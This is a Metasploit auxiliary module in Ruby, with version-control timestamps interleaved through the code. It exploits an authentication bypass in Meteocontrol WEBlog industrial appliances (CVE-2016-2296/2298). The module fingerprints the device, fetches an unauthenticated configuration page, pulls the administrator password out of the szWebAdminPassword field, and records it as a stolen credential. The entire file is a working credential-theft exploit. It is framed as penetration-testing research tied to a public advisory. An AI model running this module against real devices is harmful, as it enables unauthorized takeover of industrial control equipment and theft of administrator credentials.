2017-01-06 09:50:41 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf :: Auxiliary
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Auxiliary :: Report
include Msf :: Auxiliary :: Scanner
def initialize ( info = { } )
super ( update_info ( info ,
2017-02-03 21:30:31 +00:00
'Name' = > 'Meteocontrol WEBlog Password Extractor' ,
2017-01-06 09:50:41 +00:00
'Description' = > %{
2017-01-16 18:47:57 +00:00
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances ( software version < May 2016 release ) to extract Administrator password for the device management portal .
2017-01-06 09:50:41 +00:00
} ,
2017-02-03 21:30:31 +00:00
'References' = >
2017-01-06 09:50:41 +00:00
[
2017-01-16 18:47:57 +00:00
[ 'URL' , 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01' ] ,
[ 'CVE' , '2016-2296' ] ,
[ 'CVE' , '2016-2298' ]
2017-01-06 09:50:41 +00:00
] ,
2017-02-03 21:30:31 +00:00
'Author' = >
2017-01-06 09:50:41 +00:00
[
2017-01-16 18:47:57 +00:00
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
2017-01-06 09:50:41 +00:00
] ,
2017-02-03 21:30:31 +00:00
'License' = > MSF_LICENSE ) )
2017-01-06 09:50:41 +00:00
register_options (
2017-01-16 18:47:57 +00:00
[
Opt :: RPORT ( 8080 ) # Application may run on a different port too. Change port accordingly.
] , self . class
)
2017-01-06 09:50:41 +00:00
end
def run_host ( ip )
unless is_app_metweblog?
return
end
do_extract
end
#
# Check if App is Meteocontrol WEBlog
#
def is_app_metweblog?
begin
2017-01-16 18:47:57 +00:00
res = send_request_cgi ( {
2017-02-03 21:30:31 +00:00
'uri' = > '/html/en/index.html' ,
'method' = > 'GET'
2017-01-06 09:50:41 +00:00
} )
2017-01-16 18:47:57 +00:00
2017-01-06 09:50:41 +00:00
rescue :: Rex :: ConnectionRefused , :: Rex :: HostUnreachable , :: Rex :: ConnectionTimeout , :: Rex :: ConnectionError
print_error ( " #{ rhost } : #{ rport } - HTTP Connection Failed... " )
return false
end
2017-02-03 21:30:31 +00:00
if ( res && res . code == 200 && ( res . headers [ 'Server' ] && res . headers [ 'Server' ] . include? ( 'IS2 Web Server' ) || res . body . include? ( " WEB'log " ) ) )
2017-01-06 09:50:41 +00:00
print_good ( " #{ rhost } : #{ rport } - Running Meteocontrol WEBlog management portal... " )
return true
else
print_error ( " #{ rhost } : #{ rport } - Application does not appear to be Meteocontrol WEBlog. Module will not continue. " )
return false
end
end
#
# Extract Administrator Password
#
def do_extract ( )
print_status ( " #{ rhost } : #{ rport } - Attempting to extract Administrator password... " )
begin
2017-01-16 18:47:57 +00:00
res = send_request_cgi ( {
2017-02-03 21:30:31 +00:00
'uri' = > '/html/en/confAccessProt.html' ,
'method' = > 'GET'
2017-01-06 09:50:41 +00:00
} )
2017-01-16 18:47:57 +00:00
rescue :: Rex :: ConnectionRefused , :: Rex :: HostUnreachable , :: Rex :: ConnectionTimeout , :: Rex :: ConnectionError , :: Errno :: EPIPE
2017-01-06 09:50:41 +00:00
print_error ( " #{ rhost } : #{ rport } - HTTP Connection Failed... " )
return
end
2017-02-03 21:30:31 +00:00
if ( res && res . code == 200 && ( res . body . include? ( 'szWebAdminPassword' ) || res . body =~ / Admin Monitoring / ) )
2017-01-06 09:50:41 +00:00
get_admin_password = res . body . match ( / name="szWebAdminPassword" value="(.*?)" / )
2017-02-03 21:30:31 +00:00
if get_admin_password [ 1 ]
admin_password = get_admin_password [ 1 ]
print_good ( " #{ rhost } : #{ rport } - Password is #{ admin_password } " )
report_cred (
ip : rhost ,
port : rport ,
service_name : 'Meteocontrol WEBlog Management Portal' ,
password : admin_password ,
proof : res . body
)
else
# In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Check login manually on http://IP:port/html/en/confAccessProt.html for the szWebAdminPassword field's value.
print_error ( " Check login manually on http:// #{ rhost } : #{ rport } /html/en/confAccessProt.html for the 'szWebAdminPassword' field's value. " )
end
2017-01-06 09:50:41 +00:00
else
2017-02-03 21:30:31 +00:00
print_error ( " Check login manually on http:// #{ rhost } : #{ rport } /html/en/confAccessProt.html for the 'szWebAdminPassword' field's value. " )
2017-01-06 09:50:41 +00:00
end
end
def report_cred ( opts )
service_data = {
address : opts [ :ip ] ,
port : opts [ :port ] ,
service_name : opts [ :service_name ] ,
protocol : 'tcp' ,
workspace_id : myworkspace_id
}
credential_data = {
origin_type : :service ,
module_fullname : fullname ,
username : opts [ :user ] ,
private_data : opts [ :password ] ,
private_type : :password
} . merge ( service_data )
login_data = {
last_attempted_at : Time . now ,
core : create_credential ( credential_data ) ,
status : Metasploit :: Model :: Login :: Status :: SUCCESSFUL ,
proof : opts [ :proof ]
} . merge ( service_data )
create_credential_login ( login_data )
end
end